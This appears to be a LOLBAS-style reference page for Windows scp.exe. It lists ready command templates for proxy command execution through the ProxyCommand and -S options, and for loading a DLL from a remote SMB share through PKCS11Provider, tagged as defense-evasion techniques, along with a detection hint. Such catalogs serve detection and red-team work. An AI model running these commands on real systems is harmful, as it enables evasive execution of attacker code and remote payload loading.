← cd ..OSBinaries

scp.exe

Used for uploading or downloading files over SSH.

Full path

C:\Windows\System32\OpenSSH\scp.exe

Commands

ExecuteUser T1202
Proxy execution of specified command, can be used as a defensive evasion.
```
scp.exe -o ProxyCommand="{CMD}" . localhost:.
```
Spawns specified command from scp.exe -> ssh.exe, even if no SSH server is running on localhost (or any other address specified).
os: Windows 10, Windows 11
Execute: CMD
ExecuteUser T1202
Proxy execution of specified command, can be used as a defensive evasion.
```
scp.exe -S "{CMD}" . localhost:.
```
Spawns specified command from scp.exe -> ssh.exe, even if no SSH server is running on localhost (or any other address specified).
os: Windows 10, Windows 11
Execute: CMD
ExecuteUser T1218
Performs indirect execution of a specified DLL from a remote share, can be used for defense evasion.
```
scp -o PKCS11Provider="{PATH_SMB:.dll}" . win@github.com:.
```
Loads a DLL from an absolute path or SMB path into child process ssh.exe by abusing the PKCS11Provider option. The payload executes upon DLL load (DllMain) and requires exporting C_GetFunctionList to prevent premature termination by scp.exe.
os: Windows 10, Windows 11
Execute: DLLExecute: Remote

Detection

IOC`scp.exe` executions referencing `ProxyCommand`.

Resources

acknowledgement: BinFault @binfault, Nir Chako (Pentera) @C_h4ck_0, Edo Maland @screetsec